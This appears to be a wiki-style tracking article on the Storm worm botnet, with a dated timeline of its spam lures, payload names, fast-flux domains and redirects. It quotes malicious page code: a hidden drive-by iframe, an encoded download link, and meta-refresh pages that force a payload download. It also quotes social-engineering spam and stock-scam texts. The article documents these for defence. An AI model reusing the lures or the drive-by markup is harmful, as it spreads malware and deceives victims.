Storm

## Introduction

Storm is unique in its ability to perform so many functions. As at December 2007, it is the most pervasive and most successful implementation of a multifunctional infection that the Internet has ever witnessed. Its capabilities to exert control and domination of key sectors of the Internet are unprecedented. Storm is too great a threat to be ignored.
Estimates by researchers for the number of Windows machines infected range from 2 million minimum up to 50 million. The scanner used in Botnet Reporting usually accumulates 3,500 - 4,000 hijacked IPs being actively used to host the distribution of Storm in any 24 hour period. The ISPs that are the most infected are located in the US
* **SBC Global** (pacbell, swbell, ameritech, snet)
* **Comcast**
* **Roadrunner** (rr)

These three ISPs alone account for over 20% of the world's Storm distribution network.
The geographical distribution of Storm hosting sites for the top 10 countries is shown in the chart on the right, click to enlarge. It shows the accumulated host IPs from October 2007 to April 2008.

## Images

A list of infected machines used in botnets to host spammed sites, including the storm trojan itself, can be found in the spamtrackers download area for botnets.

## Sample Spam

```
Received: from wbmdos (unknown[59.24.160.53]) by example.net (exin02) with SMTP
         id <2007101005045710700k7imqe>; Wed, 10 Oct 2007 05:05:55 +0000
X-Originating-IP: [59.24.160.53]
Received: from bngq ([33.223.57.69]) by wbmdos with Microsoft SMTPSVC(5.0.2195.5329); Wed, 10 Oct 2007 14:05:44 +0900
Message-ID: <470D7DA3.7060302@fnblondonky.com>
Date: Wed, 10 Oct 2007 14:05:44 +0900
From: <nternet@fnblondonky.com>
User-Agent: Thunderbird 2.0.0.6 (Windows/20070728)
MIME-Version: 1.0
To: example@example.net
Subject: come get it
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit

Free games, What more do we need to say? http://76.180.***.***/

```

In this example, it is possible that the sending IP address, 59.24.160.53 was infected with Storm, and that it was Storm that sent it. It is definite that the web site IP, 76.180.\*\*\*.\*\*\* was a distributer of Storm. The site at the address is designed to attract younger Internet users: previously it was offering a tempting 1,000 *different* Arcade games for free at the click of an icon, and now it masquerades as a greetings club with a funny kitten animation.

If we look at the links on that page, we discover that every link is for the same file, which in this case is the Storm trojan itself:

## Also known as

The Wikipedia lists various names for this trojan -

* **CME-711** (MITRE)
* **W32/Nuwar@MM** and **Downloader-BAI** (specific variant) (McAfee)
* **Troj/Dorf** and **Mal/Dorf** (Sophos)
* **Trojan-Downloader.Win32.Small.dam**
* **Trojan.DL.Tibs.Gen!Pac13** ("FSEC")
* **Trojan.Downloader-647**
* **Trojan.Peacomm** (Symantec)
* **TROJ\_SMALL.EDW** (Trend Micro)
* **Win32/Nuwar** (ESET)
* **Win32/Nuwar.N@MM!CME-711** (Windows Live OneCare)
* **W32/Zhelatin** (F-Secure and Kaspersky)
* **Trojan.Peed**, **Trojan.Tibs** (BitDefender)

Multi AV scan of happy2008.exe - Scan taken on 26 Dec 2007

* AntiVir - Found WORM/Zhelatin.ob
* Authentium - W32/StormWorm.P
* AVG Antivirus - Found Downloader.Tibs
* BitDefender - Found Trojan.Peed.IRE
* Dr.Web - Found Trojan.Packed.263
* eTrust-Vet - Win32/Sintun.AT
* F-Prot Antivirus - Found W32/StormWorm.P
* F-Secure Anti-Virus - Found Packed.Win32.Tibs.gu
* Kaspersky Anti-Virus - Found Packed.Win32.Tibs.gu
* Microsoft - Trojan:Win32/Tibs.gen!ldr
* Prevx1 - Stormy:Worm-All Variants
* Sophos Antivirus - Found Mal/Dorf-C
* Symantec - Trojan.Peacomm.D
* Webwasher-Gateway - Worm.Zhelatin.ob

## Removal

In September 2007, Microsoft added detection and removal of Storm in its Malicious Software Removal Tool which was included in the Windows Automatic Update package. On September 25th, Microsoft announced that MSRT may have helped reduce the size of the Storm botnet by up to 20%. The new patch, as claimed by Microsoft, removed Storm from approximately 274,372 infected systems out of 2.6 million scanned Windows systems. However, according to senior security staff at Microsoft, "the 180,000+ additional machines that have been cleaned by MSRT since the first day are likely to be home user machines that were not notably incorporated into the daily operation of the 'Storm' botnet," indicating that the MSRT cleaning may have been symbolic at best.
Source

Removal instructions vary by Antivirus vendor.

For **Symantec**, it is at the Storm write-up page

For **McAfee** you need to be at the latest levels.

For **F-Secure** you need to be at the latest level.

**Microsoft** provides a Malicious Software Removal Tool (MSRT) which removes the Storm infection.

## Storm / Zhelatin timeline

### Feb 2007 - April 2007

In a series of social engineering releases designed to infect multiple different target sectors, this worm has appeared under many different forms. Target sectors include children, people intrigued by whimsical greeting cards, sports fanatics, the security conscious, people seeking love, people intrigued by war, news watchers, people who like to offer help, problem solvers, volunteers, game players, gamblers, etc. By varying the offering in each wave of spam, the perpetrator has sought to maximize the infection rate among the target victims.

The timeline of spam attacks illustrating the different target sectors is shown below.

**February 11, 2007**

Storm worm was being spread over Instant Messenger services

```
LOL ;-)
http://***.***.***.***/ag.***(active now)

```

**February 14**

Zhelatin variant uses the Valentines Day in mail subjects such as

* Valentines Day Dance
* The Valentines Angel
* Valentines Day is here again
* Valentine’s Love
* Valentine’s Night
* Valentine Letter
* Your Love on Valentine’s

Payloads: Flash Postcard.exe
flash postcard.exe
greeting postcard.exe
Greeting Postcard.exe
greeting card.exe
Greeting Card.exe
postcard.exe
Postcard.exe

**April 9**

World War III between USA and Iran, subjects such as

* USA Missle Strike: Iran War just have started
* Israel Just Have Started World War I II
* Iran Just Have Started World War III
* USA Just Have Started World War III
* Missle Strike: The USA kills more then 20000 Iranian citizens

Payloads: "News.exe" , "Movie.exe" , "Read\_Me.exe" , "Click\_Me.exe" , "Video.exe" , "Read\_More.exe"

**April 12**

The lovers' worm, with subjects like

* A Toast My Love
* A Token of My Love
* Come Dance with Me
* Come Relax with Me
* Destiny
* Dream of You
* Eternal Love
* Eternity of Your Love

Payloads included Love Card.exe
Love Postcard.exe
My Love.exe
Postcard.exe

**April 13**

Bogus virus or worm alert, with subjects like

* Worm Alert!
* Worm Detected!
* Virus Alert!
* Virus Activity Detected!

Payloads added a random variable this time

* patch-[Random 4 digits].zip
* removal-[Random 5 digits].zip
* hotfix-[Random 5 digits].zip
* bugfix-[Random 5 digits].zip

### June 2007 - August 2007

**June 16**

Greetings on .hk domains - the body had many different .hk domains links. Subjects were typically

For You....My Love

* Gday
* Gday, Bud
* Gday, Pal
* Good day!
* Hello
* Hello, Bud

Payload: fun.exe (also some MS exploits in the web page)

**June 22**

Greeting cards from a friend

* You've received a postcard from a family member!
* Your family member has sent you a postcard from greetingcards.com.
* You've received a greeting card from a friend!
* You've received a greeting postcard from a worshipper!

Payload: ecard.exe

**July 8**

They masquerade as malware patches.
The title of these spams are used such as "Trojan Detected!"

Payload: patch.exe

**August 15**

"msdataaccess.exe".

The spams are as the following: Subject: XXX e-card (XXX such as Birthday, Musical)

**August 21**

When some follows the link in the spams, it shows that you need to have Secure Login Applet installed on your computer.
The payload is called "applet.exe"

The subjects of spams are as the following:

* Dated Confirmation
* Internal Support
* Internal Verification
* Login Verification
* Membership Details
* New Member Confirmation
* Registration Confirmation
* User Services

**August 25**

It masquerades as ecard as usual. The subjects of spams are as shown here:

* b A card for you
* Here is your E-greeting
* Someone sent you an Ecard
* This is for you
* You have a new eCard from...?
* You have received an eCard

The link in the body of the text changed from an IP (http://\*\*\*.\*\*\*.\*\*\*.\*\*\*) to a name (http://example.com)

**August 26**

Zhelatin begins spamming with YouTube video now.

The subjects of spams may be as the following:

* are you kidding me? lol
* Dude your gonna get caught, lol
* Dude, what if your wife finds this?
* man, who filmed this thing?
* HAHAHAHAHAHA, man your insane!

Payload = "video.exe"

**August 29**

The subjects used include

* Could you give us a hand?
* Could you give us your opinion?" ,
* Put in your two cents
* We could use your help

Payload = "setup.exe"

**August 30**

The subjects of spams:

* Cool Video is out
* dude this is not even on MTV yet
* Hot new video
* OMG, check out the new video
* this video is not out yet
* this video rocks
* your gonna love this, lol

If the video does not start playing, you need to looad the right codec. Click on the link to install it.

Payload = "codec.exe"

### September 2007 - December 2007

**September 14**

Storm Trojan adopted a Football theme by offering a "game tracking system":

* Are you ready for football season?
* Are you ready for some football?
* Do you have your NFL Game List?
* Football Fan Essentials
* Football Season Is Here!
* FOOTBALL! Are You ready?
* Free NFL Game Tracker

Payload: tracker.exe

**September 17**

Spreading with 1000+ free games as the attraction. The spams used subjects such as

* 1000+ Free Games!
* GAMES! GAMES!
* Stop paying for games
* Thousands of hours of fun, for free
* Play all your favorite games for free
* Wow, cool games!

Payload = "ArcadeWorld.exe"

**October 12**

The laughing psycho kitty cat ecard. The subjects include

* Someone is thinking of you! Open your ecard!
* We have a ecard greeting for you.
* We have a ecard surprise!

Payload = SuperLaugh.exe

**October 17**

The krackin site, with sample spam varies, but the web site purports to provide virus protection and IP blocking.
The target audience is the security conscious user.

```
All the new movies music and more. In one place. The Krackin network.
http://***.***.***.***

```

Payload: krackin.exe

**October 28**

The Halloween version, where the target audience is the seasonal fun lover.
Typical subjects include

* Make him dance
* Man this is funny
* To much fun

Sample spam -

```
The Dancing Skeleton

Do You Want To See New Funny Sexual Helloween Game with Dancing Skeleton? Just Click Here
Via Email, MSN, or IRC

```

Payload: halloween.exe or dancer.exe

**November 12**

A pump-and-dump scam was loaded onto the Storm hosting bots, replacing the existing payload. At URL http://xxx.xxx.xxx.xxx/stock.html it contained

```
Global Economy Newsletter

Hemisphere Gold Inc. (HPGI)
Current: $1.00
Market Alert - Strong Buy

Gold investors find safe haven as the US Dollar continues to drop throughout 2007.

Market Status:

Since 2006 market annalists predicted gold to hit $800 per ounce within two years. Gold has hit $812 an ounce
just one year later due to depleted gold supplies and a falling US Dollar.

In an effort to find more gold, recent findings of large Gold deposits in Suriname has turned this small
country into a modern day gold rush.

Hemisphere Finds Gold!

Hemisphere Gold.s Properties are sitting right in the middle of the largest gold mines in the region and
advanced exploration has already found gold deposits as high as 3.55 ounces/ton. This region has already
become know as the Gold Belt.

6 Reasons To Own HPGI

1: Gold is on a Bull Run, climbing over $200 an ounce in just 9 months.
2: Gold demand is at record highs and is expected to continue increasing.
3: Hemisphere has the cutting edge technology and financial team to take this all the way.
4: Hemispheres property sits right in the middle of the Gold Belt where over 50 million ounces of gold have
already been extracted.
5: Recent findings have pushed share prices up over 120% in the last 30 days.
6: Gold is a traditional safe haven for investors in times of trouble as it keeps its value greater than
currency.

Hemisphere is launching a full scale marketing campaign with coverage already found on sites like
Stockguru.com. With huge results already confirmed HPGI is moving into the final stages of exploration. This
leaves nothing left but mining a large deposits in a primed market. HPGI should be on the top of your list
for your next investment consideration.

```

**November 18**

The payload (dancer.exe) has generally been removed, so that clicking on the Download area produces

```
404 Not Found
nginx/0.5.17

```

However, the site contains a malicious "iframe" exploit in its code:

```
<iframe src="/cgi-bin/in.cgi?p=user1" width="0" height="0"></iframe>

```

This exploit is analyzed at the disog.org site
and described at this blogspot.

This same iframe injection has also been found on general web sites as a "drive-by" installation.

**November 26**

The storm host machines returned only a blank page. Attempts to load any pages - such as /stock.html - returned a "page not found" condition:

```
404 Not Found
nginx/0.5.17

```

**December 11**

The current payload on the Storm site servers is the file "sony.exe" which McAfee identifies as Nuwar@MM

It contains the following trojan fingerprints within its code:

```
Software\Microsoft\Windows\CurrentVersion\Run���noskrnl.exe
noskrnl.config

```

These fingerprints are covered in the Symantec Technical description of this trojan.

The trojan code can be viewed safely without downloading. You can search for the fingerprint string **noskrnl.config** to verify that it is the Storm infection.

**December 12/13**

The image file installed on the hosts has a pump-and-dump Securities fraud scam pushing Pink Sheets stock CYHA (Cyberhand Technologies)

**December 14**

The image file is replaced with two alternative files pumping two stocks FAVE and BSGC.

**FAVE** is listed in a press release as **Simulated Environment Concepts, Inc. (PINKSHEETS: FAVE)**. The company web site is http://www.spacapsule.com/

Press Contact: IR Complete, Inc. 919-468-4511

**BSGC** is Big String Corporation, mentioned in a November Penny Investor listing as a #1 pick. The company web site is at http://www.bigstring.com

http://finance.yahoo.com/q/bc?s=BSGC.OB&t=3m

**December 24**

The Christmas lure is a predictable ploy - a fake greeting card. Typical subject lines:

1. Merry Christmas To All
2. Warm Up this Christmas
3. Mrs. Clause Is Out Tonight!
4. The Twelve Girls Of Christmas
5. Jingle Bells, Jingle Bells
6. Cold Winter Nights

```
.. sent you an e-card from our Free Electronic Card Service.
To view your customized greeting card, simply click on the following Internet location
http://www.americangreetings.b719.cn/[whatever]
Regards Webmaster

```

```
Winter can be cold. I bet you could use a little something to warm you
up. Take 2 min out of your day. You wont regret it. ;-)
http://merrychristmasdude.com/

```

Payloads: happy2008.exe and sony.exe

**December 26**

Post Christmas Storm spams portray a New Year theme. Subjects include

* Opportunities for the new year
* Message for new year
* New Year wishes for you
* Blasting new year
* It’s the new Year
* Joyous new year
* New Hope and New Beginnings

Typical URLs:

* uhavepostcard.com
* happycards2008.com
* newyearcards2008.com
* newyearwithlove.com
* familypostcards2008.com

Payloads: "happy2008.exe" "happy-2008.exe" "happynewyear2008.exe" "happynewyear.exe" "stripshow.exe" "happy\_2008.exe"

The link to the site name is obfuscated:

```
document.write( unescape(
'%3C%61%20%68%72%65%66%3D%22%68%61%70%70%79%6E%65%77%79%65%61%72%32%30%30%38%2E%65%78%65%22%3E' ) );

```

Domain names are now being registered in Russia with a bank of name servers and the usual fast-flux behavior

```
 Domain Name: HAPPYCARDS2008.COM
 Registrar: ANO REGIONAL NETWORK INFORMATION CENTER DBA RU
 Whois Server: whois.nic.ru
 Referral URL: http://www.nic.ru
 Name Server: NS.HAPPYCARDS2008.COM
 Name Server: NS2.HAPPYCARDS2008.COM
 Name Server: NS3.HAPPYCARDS2008.COM
 Name Server: NS4.HAPPYCARDS2008.COM
 Name Server: NS5.HAPPYCARDS2008.COM
 Name Server: NS6.HAPPYCARDS2008.COM
 Name Server: NS7.HAPPYCARDS2008.COM
 Name Server: NS8.HAPPYCARDS2008.COM
 Name Server: NS9.HAPPYCARDS2008.COM
 Name Server: NS10.HAPPYCARDS2008.COM
 Name Server: NS11.HAPPYCARDS2008.COM
 Name Server: NS12.HAPPYCARDS2008.COM
 Name Server: NS13.HAPPYCARDS2008.COM
 Status: clientTransferProhibited
 Updated Date: 26-dec-2007
 Creation Date: 26-dec-2007
 Expiration Date: 26-dec-2008

```

**December 29**

Additional name servers added

* freshcards2008.com
* familypostcards2008.com
* merrychristmasdude.com
* newscorpalerts.com
* happy2008toyou.com
* happysantacards.com
* hellosanta2008.com
* hohoho2008.com
* parentscards.com
* postcards-2008.com
* santapcards.com
* santawishes2008.com

### January 2008 - March 2008

**January 9, 2008**

For a short time the storm network was used in a phishing operation aimed at the banks of Halifax and Barclays. Fake domain names registered were i-halifax.com and i-barclays.com.

**January 10**

The suspension of the domain names used to resolve the 0 refresh fast-flux addresses were all suspended by the registrars in a synchronized move. Only existing infected machines were able to join the network, and new infections were effectively unable to locate any other network members. Any infected machine that was restarted would be likely to fail to reconnect. It is expected that this will result in a major reduction of bots within the standard 48 hour Internet caching period.

**January 16**

Spamming resumed using a raw IP address. Title line is **With Love!**.

Payload file **withlove.exe** or **with\_love.exe** was in an obfuscated Java script:

**January 31**
Sample spam contents

```
Subject: You won't spend to much for these meds!
Dreams can cost less here! http://91.122.38.100/xfj/

```

The IP address in the spam corresponds to a Storm infected machine. By repeatedly loading the same URL of that or any other Storm IP with /xfj/ appended (chosen at random) you find redirections to exactly 8 Canadian Pharmacy sites:

1. andconsider.com
2. bringinstrument.com
3. endscience.com
4. measureremember.com
5. owndeep.com
6. speakpound.com
7. tellthrough.com
8. thanpopulate.com

Canadian Pharmacy sites are in turn hosted on another fast-flux botnet.
Different randomly selected subdirectory names yield the same result.

Geographic fingerprinting reveals completely different topologies for these two botnets.

The geo-print for Storm is seen under the topic Botnet hosting at  and for Canadian Pharmacy at File:Bot PUF.jpg.

**February 7**
The infected page was changed to contain obfuscated code

**February 10**
Redirections from Storm infections to fake Canadian Pharmacy sites

1. interestquiet.com
2. chickher.com
3. byoperate.com
4. elementgrand.com
5. tenpitch.com
6. roundtoward.com
7. twoinstant.com

**February 11**
Eight  new images were introduced with a Valentines theme. There is a more direct load of the virus payload (valentine.exe) using "refresh" to ensure a higher infection rate:

```
<html xmlns="http://www.w3.org/1999/xhtml">
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<meta http-equiv="refresh" content="5;url=valentine.exe">
<title>Your Valentine</title>
<body>
<center>
<a href="valentine.exe"><img border=0 src="5.gif"><br></a>

```

```
</body>
</html>

```

The random gif with the unconvincing pump and dump stock scam has been removed.

Domain names used to serve the 0-fast-flux network:

* moonstarfood.com (removed)
* destroythemoon.com (removed)

Name servers were on

```
ns.llldddnnn.com 76.212.174.58
ns2.llldddnnn.com 68.252.56.21
ns3.llldddnnn.com 64.221.169.181
ns4.llldddnnn.com 75.132.160.97
ns5.llldddnnn.com 68.184.51.232
ns6.llldddnnn.com 80.197.35.241
ns7.llldddnnn.com 90.150.141.112
ns8.llldddnnn.com 78.8.106.11
ns9.llldddnnn.com 59.31.54.198
ns10.llldddnnn.com 60.53.245.92
ns11.llldddnnn.com 98.206.242.41
ns12.llldddnnn.com 76.97.95.128
ns13.llldddnnn.com 24.98.214.216

```

**February 14**
Current Canadian Pharmacy redirections for Storm ngnx/0.5.17 URLs in the format
http://xxx.xxx.xxx.xxx/junk/

* chancetoo.com
* enoughbreak.com
* gonebox.com
* largespeech.com
* planepound.com
* quickwant.com
* safecause.com

They have still removed the randomized gif for a pump-and-dump stock which was previously loaded with a URL in the format
http://xxx.xxx.xxx.xxx/junk.gif

**March 3**
The image changed to a "FunnyPostCard" lure. The payload was *ecard.exe* and a download is attempted even if the victim does not click on the image, by using an http refresh

```
<meta http-equiv="Refresh" content="5; URL=ecard.exe">

```

Redirection sites for Canadian Pharmacy and Cheap Drugs Online Store

* picksuch.com
* wonderright.com
* fallbroad.com
* pharmapillsforu.com
* rxpills4u.com
* cheapestpillshere.com
* ranglad.com
* speakplant.com

**March 4**
A new wave of spams that repeat an earlier phase of Storm propagation via fake greeting cards

Subject:

```
Your ecard joke is waiting
You have an ecard
We have a ecard surprise
Someone Just sent you an ecard
Did you open your ecard yet
ecard waiting for you
Open your ecard
new ecard waiting
Now this is funny
online greeting waiting
sent you an ecard

```

Body:

```
laughing Funny Card
You have been sent a Funny Postcard
You have been sent the Funny Ecard
original Funny Card
Someone Sent you this Funny Ecard
your funny postcard
original Funny Postcard
sent a Funny Postcard
personal funny postcard
FunnyPostcard
laughing funny postcard

```

**March 20**
The domain name used to interconnect Storm sites was **ibank-halifax.com** registered with Russian company ANO REGIONAL NETWORK INFORMATION CENTER. On March 18, 2008 it was suspended

* Status: clientHold
* Status: clientTransferProhibited

However, existing Storm hosts were still performing redirections to spam sites registered with Xin Net:

* ED Express
	+ surfpart.com
	+ darksidehq.com
	+ superwildside.com
	+ twinsideauto.com
* Pharmacy Express
	+ daysidehomes.com
	+ sideeventsonline.com
	+ flipsidesite.com
* United ED Meds
	+ esideeffect.com

All of these sites loaded their images from the one Image Server - oleroneg.info (Sponsoring Registrar: Blog.com Digital Communications Inc.)

**March 31**
The latest edition had an April Fool's Day theme. The picture is of a jester with the placard "April Fool" and trailing a slogan "Kick me hard"
Sample subject lines were

* All Fools' Day
* Doh! All's Fool.
* Doh! April's Fool.
* Gotcha!
* Surprise! The joke's on you.

Payloads included funny.exe, foolsday.exe, kickme.exe

### April 2008 - July 2008

**April 6**
Google blogspot's much abused redirection was used to draw victims into infected distribution sites. Spammed links in the form of http://some-name.blogspot.com would redirect with an "http refresh" to an infection site.

**April 9**

```
Datum: Tue, 8 Apr 2008 22:59:22 -0400
Subject: With all my love

I Love Being In Love With You  http://supersameas.com/

```

Payload = StormCodec8.exe and StormCodec.exe

**April 14**
Spams linking to a variety of websites owned by innocent parties for either a file called "redir.html" which links to a sugaronly.com, a Canadian Pharmacy scam pharma site, or a file called "video.exe" which is the Storm Worm download. All sites have both files though usually only one is spammed.

Sample spam:

```
Hello, make a wise decision,  get your meds from the most reliable provider.
http://www.google.it/pagead/iclk?sa=l&ai=USRUkh&num=28816&[line break inserted]
  adurl=http://justleopold.com/redir.html
Coupon #9FQN
guthrey jael

```

Substituting "video.exe" for "redir.html" on justleopold.com will attempt to download Storm Worm on your computer.

**May 19**

Infections by email use IP addresses, to conceal the domain names from research and removal

```
Subject: Missing you with every breath
The Mood for Love http://xxx.x.xx.64/

Subject: I Knew I Loved You
You & Me http://xxx.xxx.xxx.102/

```

Payload = iloveyou.exe loveyou.exe

Adding any subdirectory causes a redirection (http://xxx.x.xx.64/blah/) to

* catsharp.com \*
* followequate.com [client hold by Xin Net, May 28]
* lowsmell.com \*
* picturewest.com \*
* posestory.com \*
* printlength.com \*
* producemorning.com \*
* pressrose.com \*
* industrydictionary.com

which are Canadian Pharmacy brands.
\* means these run on a fast-flux botnet of 20 IP addresses, refreshing every 2 minutes.

**June 1**

Sample spam:

```
Subject: You have touched my heart

Missing you http://xxx.xx.xx.73/

```

The page source contains

```
<html>
<head>
<title>Who is loving you?</title>
</head>
<body>
<center><img src="lr.gif"><br>
Who is loving you? Do you want to know?
Just <a href="loveyou.exe">click here</a> and choose either "Open" or "Run".

```

```
</body>
</html>

```

The payload is loveyou.exe

**June 18**

Short emails using an IP based URL (http://xxx.xxx.xxx.xxx) with a theme of the China Earthquake and sometimes mention of the Beijing Olympics. The click-through shows a page with a black screen promising a video. Clicking to see the video installs the Storm infection.

Sampled from the subject lines:

```
2008 Olympic Games are under the threat
A new powerful disaster in China
A new deadly catastrophe in China
China is paralyzed by new earthquake

```

Payload: beijing.exe

**June 25**
Storm is sending both the "China disaster" story as well as a seemingly incompetent email with a reply address

```
Hello, my friend.

Do you want to buy any stuff: any kind of pills, oem software, cool porn?
Just mail me back, i'll find the best offer for you.

My Email: gpdude22@yahoo.com

```

The imbedded Email addresses vary

* cstygstra@gmail.com
* gpdude22@yahoo.com
* infrared35@gmail.com
* jim@tegelaar.com
* wagz\_is\_god@yahoo.com

This may be a "Joe-job" designes to tarnish the reputation of those people.

**June 29**
Sample message:

```
> Date: Sun, 29 Jun 2008 01:32:24 +0900
> From: xxxxx@xxxxx.xxx
> Subject: You make my world special
> My heart belongs to you http://latinlovesite.com/

```

Known domains

* latinlovesite.com
* makinglovedirect.com
* theloveparade.com
* yourloveletter.com
* youronlinelove.com
* lollypopycandy.com (used as a name server)
* verynicebank.com (used as a name server)

Payload = winner.exe mylove.exe

**July 4**

Storm worm themes frequently correlate with seasonal holidays, specifically those celebrated in the U.S. July 4th is Independence Day in the U.S., and a major holiday. Storm sites display a faux-video image with fireworks. The message on the sites is "Colorful Independence Day events have already started throughout the country. The largest firework happens on the last weekday before the Fourth of July. Unprecedented sum of money was spent on this fabulous show. If you want to see the best Independence Day firework just click on the video and run it."

It is interesting to note that storm sites do not mark major holidays not observed in the U.S., like Guy Fawkes Day, May Day, International Women's Day, or Bastille Day, nor are they fooled by U.S. public holidays like Labor Day whose significance among the general public is mostly limited to being a day off work. It suggests the involvement of someone who has at least lived for some time in the U.S. But clumsy English usage, like "firework" used in the singular or "stars and strips (sic) forever," suggests a non-native speaker is writing the subject headings and body messages, as well as the messages included on the sites themselves.

The spam has links to infected IP addresses, not domain names. All storm infected servers display the same image, not just the ones with fixed IP addresses which are included in spam. Subject headings and bodies include

```
Amazing firework 2008
Amazing Independence Day show
America for You and Me
America the Beautiful
American Independence Day
Bright and joyful Fourth of July
Celebrate Independence
Celebrating Fourth of July
Celebrating the Glory of our Nation
Celebrating the spirit of our Country
Celebrations have already begun
Fabulous Independence Day firework
God bless America
Happy Birthday, America!
Happy Fourth of July
Happy Independence Day
Happy Independence Day!!
Independence Day firework broke all records
Light up the sky
Sparkling Celebration of Independence Day
Spectacular fireworks show
Stars and Strips forever
Super 4th!
The best of 4th of July Salute
The best firework you've ever seen
Time for Fireworks
Well done 4th!
Wish your friends a happy Independence Day

```

Payload=fireworks.exe

(Whoever chose the name for the payload apparently *is* aware that "fireworks" is always plural.)

**July 21**

```
The U.S. Government began to realize the plan to replace the Dollar with the
"Amero", the new currency of the North American Currency Union. Canada, the
United States of America and Mexico have resolved to unit in order to resist
the Worldwide Financial Crysis. You can become acquainted with the plan of
the implementation of Amero, just click on the icon under this text.

```

Payload = amero.exe

The Amero image is also found at http://signaveritae.wordpress.com/2008/01/09/our-failing-dollar/

**July 29**

Storm spam arrives with subject headings about the FBI spying on Facebook users. (It goes nearly unnoticed in the midst of a deluge of spam linking to trojan downloads on hacked websites; those spams carry similar subject lines consisting of inflammatory news headlines.)

```
Subject: The F.B.I.'s plan to "profile" Facebook

FBI may strike Facebook http:*//*SmartNewsRadio.com/

```

Other possible lines used as subjects or body text include

```
F.B.I. can watch our conversation through Facebook
F.B.I. tries to fight Facebook
FBI Watching Possible Terrorists on Facebook
FBI Watching Hezbollah in Facebook
FBI bypasses Facebook to nail you
The F.B.I. has a new way of tracking Facebook

```

Payload = fbi\_facebook.exe

Gary Warner has a more extensive listing on his blog page

Obviously, people who visit one of those infected sites and download storm on their computers will have someone spying on them, but it won't be the FBI.

### August 2008 - December 2008

**August 14**

Targeting followers of headline news stories, the Storm Trojan team sent millions of emails with catchy headlines, secretly diverting users who clicked on the "msnbc" or "CNN" link to a decoy site. The click on a newslink downloaded the Storm trojan. For example, the payload would be masquerading as an upgrade to Adobe Flash player, **adobe\_flash.exe**. 13 out of 20 antivirus companies identified it as Storm. For example:

```
 F-Secure Anti-Virus  	Found Email-Worm:W32/Zhelatin.YH, Trojan-Downloader.Win32.Exchanger.nb

```

### January 2009 -

**January 1**

Are there *still* people willing to click on ecards? Someone thinks so. The malware no longer is detected as "storm"/tibs/zhelatin/zhelatin, but as "walezof," a distinct maleware entity.

Why are we including it here? Beyond the "ecard" theme, the similarities in the botnet hosting are strong: These domains use a single seat botnet with zero second refresh. Storm had been the only botnet we'd observed with that pattern. Analysts at Shadowserver report it uses a similar peer-to-peer network, as well. It's either being distributed by the same criminals or else by a very ardent admirer.

The ultimate smoking gun would be to find one of the old surviving storm domains now display the same content or are on the same botnet, but those domains now refuse connections altogether (rather than displaying different content) and they are not on a fast flux botnet at all.

**January 17**

Waledac's similarities to Storm continue. Storm previously tried to lure people into clicking with fake sites offering news about some catastrophic disaster; now it's a spoof of Barack Obama's campaign website with a fake news item claiming he is refusing to assume office next week. Like storm, all the previous domains with ecard themed names have also begun displaying the Obama theme.

Payloads:

president.exe obama.exe statement.exe baracknews.exe obamanews.exe barack.exe barackspeech.exe barackblog.exe obamablog.exe obamaspeech.exe usa.exe news.exe speech.exe blog.exe love.exe youandme.exe onlyme.exe onlyyou.exe you.exe video.exe readme.exe postcard.exe pdf.exe doc.exe file.exe

**January 25**
Waledac assumes a Valentines theme, though not a lot of spam is arriving in the US. It changes to a puppy dog Valentine theme on February 9, but still only there if you go looking for it.

## Further reading

* CNN / msnbc update, August 2008
* Tracking by SudoSecure
* Jose Navario's analysis of April 1 2008
* Controlling domains for Storm
* Storm Tracker at TrustedSource
* Stephen Fry's non-technical summary
* Websense Security Labs: Analysis of the Storm worm waves of releases
* Storm Worm Botnet Attacks Anti-Spam Firms
* Symantec White Paper on Peerbots: Catch me if you can
* Storm design predicted
* Fast-flux as used by Storm
* The Storm Worm Wikipedia entry
* Storm Worm as a botnet
* Crypto-Gram Newsletter